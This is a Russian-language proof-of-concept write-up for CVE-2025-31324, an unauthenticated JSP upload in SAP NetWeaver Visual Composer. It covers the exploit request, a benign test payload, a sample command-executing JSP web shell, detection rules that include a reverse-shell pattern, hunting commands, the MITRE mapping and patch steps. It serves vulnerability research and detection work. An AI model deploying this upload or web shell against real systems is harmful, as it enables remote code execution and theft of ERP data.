Proof-of-concept эксплойт для CVE-2025-31324 — неаутентифицированная загрузка файлов в SAP NetWeaver Visual Composer, с рекомендациями по обнаружению, сопоставлением с MITRE и шагами по устранению уязвимости.
Тип: Proof of Concept — Исследование уязвимостей CVE: CVE-2025-31324 CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Статус: Исправлено — SAP Security Note 3594142 + 3604119 Добавлено в CISA KEV: Май 2025
⚠️ Этот PoC использует безвредный JSP-файл («Hello World») для проверки поверхности атаки без выполнения вредоносного кода. Использование только в авторизованных средах для целей пентеста и разработки детектов.
Разработано: HKK$ cat ./vulnerability_summary.txtУязвимость CVE-2025-31324 находится в компоненте Visual Composer Metadata Uploader SAP NetWeaver AS Java — это ошибка отсутствия проверки авторизации, которая позволяет любому неаутентифицированному атакующему отправлять POST-запросы на конечную точку /developmentserver/metadatauploader, что приводит к неограниченной загрузке произвольных файлов.
CVE затрагивает конкретно SAP NetWeaver Visual Composer Framework версии 7.50, с оценкой CVSS 10.0 — максимально возможной.
Угрозы активно эксплуатировали эту уязвимость с января по май 2025 года, развертывая постоянные веб-шеллы в сотнях систем по всему миру.
$ cat ./impact.txtПоскольку уязвимость работает с повышенными привилегиями и находится рядом с данными ERP, горизонтальное перемещение к SAP ABAP стекам или подключенным базам данных тривиально после эксплуатации.
Полная цепочка эксплуатации в реальных атаках:
Upload JSP (CVE-2025-31324)
→ Webshell persistente no servidor
→ RCE como processo SAP (alta privilégio)
→ Acesso a dados ERP (Finance, HR, Supply Chain)
→ Lateral movement para ABAP / DB
→ Deploy de frameworks C2 (ex: Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — EXPLOIT FLOW │
│ │
│ ATACANTE SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Body: arquivo JSP/WAR/qualquer ──────────► │ Metadata Uploader │ │
│ (sem autenticação) │ │ │
│ │ ❌ Sem verificação │ │
│ │ de auth │ │
│ │ ❌ Sem validação │ │
│ │ de extensão │ │
│ │ ❌ Sem sanitização │ │
│ │ de conteúdo │ │
│ └────────┬────────────┘ │
│ │ │
│ Arquivo salvo em: │
│ /irj/root/ ou similar │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (PoC benigno) │
│ → Webshell (exploit real) │
└─────────────────────────────────────────────────────────────────────────┘
/developmentserver/metadatauploader является частью SAP Visual Composer — инструмента low-code разработки для бизнес-аналитиков, позволяющего создавать SAP-приложения без Java-кода. Конечная точка была спроектирована для приема моделей метаданных во время разработки. Хотя компонент не включен в стандартной конфигурации NetWeaver, Onapsis сообщила, что он широко активирован в производственных средах.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
Почему JSP, а не другой формат?
SAP NetWeaver AS Java запускает JVM — файлы .jsp интерпретируются напрямую сервлет-контейнером (встроенный Apache Tomcat) без предварительной компиляции. Это делает JSP идеальным форматом для веб-шеллов в Java-средах.
Выбор безвредного содержимого («Hello World») намерен для PoC:
При реальной эксплуатации содержимым был бы JSP-веб-шелл с выполнением команд, например:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — Почему этот Content-Type?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
Конечная точка ожидает запрос multipart/form-data — тот же формат, который используется HTML-формами загрузки файлов. Это намеренно в оригинальном дизайне Visual Composer (загрузка моделей разработки).
Библиотека requests автоматически собирает границы multipart, когда передается files= — заголовок Content-Type: multipart/form-data; boundary=... генерируется внутренне.
verify=False: отключает проверку TLS-сертификата — необходимо, поскольку SAP-среды часто используют самоподписанные сертификаты. В производстве использовать verify='/path/to/ca-bundle.crt'.
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| Компонент | Значение |
|---|---|
:50201 | Стандартный порт SAP ICM (Internet Communication Manager) HTTPS |
/developmentserver/ | Сервлет разработки Visual Composer |
metadatauploader | Конкретная конечная точка загрузки метаданных |
CONTENTTYPE=MODEL | Тип содержимого, ожидаемый конечной точкой |
CLIENT=1 | Мандант SAP (клиент) — 000, 100, 001 распространены |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# Эксплуатация конечной точки /developmentserver/metadatauploader
# без аутентификации через HTTP POST
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# JSP webshell загружен → выполнен сервлет-контейнером (Tomcat)
tactic: Persistence
- T1505.003 # Web Shell как механизм постоянства
# JSP-файл сохраняется в файловой системе сервера между перезагрузками
tactic: Defense Evasion
- T1036 # Masquerading
# Веб-шеллы, названные как легитимные SAP-файлы (например, metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# После RCE: перечисление процессов, пользователей, SAP-путей
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# Доступ к ABAP стеку, подключенным базам данных через RCE
tactic: Collection
- T1005 # Data from Local System
# Прямой доступ к данным ERP (Finance, HR, Supply Chain)
$ cat ./affected_versions.txtПродукт: SAP NetWeaver Application Server Java
Компонент: Visual Composer Framework
Версия: 7.50 (все сборки до патча апреля/мая 2025)
Патчи:
SSN 3594142 → Первоначальный патч (апрель 2025) — устраняет загрузку файлов
SSN 3604119 → Исправление первопричины через CVE-2025-42999 (май 2025) — устраняет корневую причину
SSN 3578900, 3620498, 3621771, 3634501 → Дополнительные заметки по усилению защиты
CISA KEV: оба CVE-2025-31324 и CVE-2025-42999 добавлены в каталог
$ cat ./detection_opportunities.md# Правило: неаутентифицированный POST на конечную точку Metadata Uploader
# Источник: SAP Web Dispatcher / ICM access log
Условие:
- method: POST
- uri_path СОДЕРЖИТ: /developmentserver/metadatauploader
- auth_header: ОТСУТСТВУЕТ
- body_content_type: multipart/form-data
Серьезность: КРИТИЧЕСКАЯ — немедленно расследовать
# SAP ICM журнал — подозрительный шаблон:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x
# Правило: GET к недавно созданному файлу .jsp вне легитимных SAP-путей
Условие:
- method: GET
- uri_path СООТВЕТСТВУЕТ: /irj/.*\.jsp
- file_creation_time: < 24h
- file_NOT_IN: [список известных легитимных JSP]
# Подозрительный дочерний процесс SAP JVM
# Источник: Sysmon / EDR process creation
Условие:
- parent_process: java.exe или jstart.exe
- child_process: cmd.exe ИЛИ powershell.exe ИЛИ sh ИЛИ bash
- command_line СОДЕРЖИТ: -c ИЛИ .socket ИЛИ .call( ИЛИ .spawn(
Red Canary задокументировал следующий шаблон обнаружения эксплуатации CVE-2025-31324 в Linux-средах: процесс python с аргументом -c в сочетании с .socket и .call( или .spawn( — указывает на reverse shell после веб-шелла.
# Поиск POST-запросов к уязвимой конечной точке за последние 90 дней
# Каталог журналов: /usr/sap/<SID>/J<inst>/work/
grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"
# Список недавно созданных JSP в веб-каталоге
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f
$ cat ./remediation.mdПРИОРИТЕТ: КРИТИЧЕСКИЙ — Немедленный патч
1. Проверить, активен ли компонент:
NWA → Configuration → Infrastructure → Java System Properties
Искать: com.sap.tc.vccomp.server.vis.jms.VisJmsService
2. Если не требуется → ОТКЛЮЧИТЬ Visual Composer:
NWA → Start & Stop → Services → VisualComposer → Stop
3. Применить обязательные патчи (по порядку):
SSN 3594142 ← критический (загрузка файлов)
SSN 3604119 ← первопричина (CVE-2025-42999)
SSN 3578900, 3620498, 3660659 (дополнительное усиление)
4. Настроить JVM Serial Filter (после патча):
NWA → JVM Parameters → добавить фильтр вредоносных классов
5. Ограничить сетевой доступ к конечной точке в Web Dispatcher / Firewall:
ЗАБЛОКИРОВАТЬ: /developmentserver/* для внешних IP
РАЗРЕШИТЬ: только авторизованные хосты разработки
6. Проверить IOC — искать веб-шеллы, развернутые до патча:
Анализировать журналы ICM с января 2025
Искать файлы .jsp с подозрительным содержимым в /irj/
$ cat ./usage.sh# Установить зависимость
pip install requests
# Отредактировать URL в скрипте перед выполнением:
# url = "https://<ваш-lab-хост>:<порт>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"
# Выполнить
python cve_2025_31324_poc.py
# Проверить, сработала ли загрузка (файл должен быть доступен)
curl -k https://<host>:<port>/irj/hello_world.jsp
# Ожидаемый ответ, если уязвимо: HTML с «Hello World»
# Ожидаемый ответ, если пропатчено: 404 или 403
$ cat ./timeline.txtЯнв 2025 Начало активной эксплуатации in-the-wild (обнаружено ретроспективно)
Апр 24, 2025 SAP публикует CVE-2025-31324 (CVSS 10.0) + SSN 3594142
Апр 28, 2025 CISA добавляет в Known Exploited Vulnerabilities Catalog
Апр 29, 2025 Rapid7, Qualys, Red Canary публикуют технические анализы
Май 07, 2025 Onapsis + Mandiant (Google Cloud) публикуют совместный брифинг
Май 13, 2025 SAP публикует SSN 3604119 (первопричина через CVE-2025-42999, CVSS 9.1)
Май 15, 2025 CISA добавляет CVE-2025-42999 в каталог KEV
Май 20, 2025 Крайний срок CISA для патчинга в федеральных системах США
Июн 25, 2025 Unit 42 завершает активный мониторинг кампании
$ cat ./references.mdCVE: https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note: https://me.sap.com/notes/3594142
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis: https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7: https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42: https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/
$ cat ./lessons_learned.txt[+] Отсутствие auth в конечных точках «разработки» — классический недооцененный вектор
[+] CVSS 10.0 означает: без auth + сеть + полный RCE — самая критическая тройка из возможных
[+] Visual Composer не стандартен, но был широко активен в производстве — риск скрытых функций
[+] JSP как веб-шелл особенно скрытен: без компиляции, выполняется напрямую контейнером
[+] Угрозы эксплуатировали 3+ месяца до публичного раскрытия — обнаружение SOC критично
[-] verify=False в PoC — в реальном пентесте задокументировать самоподписанный серт и использовать verify=путь
[-] CLIENT=1 захардкожен — в производстве может быть 000, 100, 200; перечислить заранее
[-] PoC не проверяет, стал ли файл доступен после загрузки — добавить GET для подтверждения
[→] Улучшения: argparse для host/port/client, автоматическая проверка после загрузки, вывод в JSON
CVE Research · CVSS 10.0 · Patched April/May 2025 · CISA KEV · Authorized testing only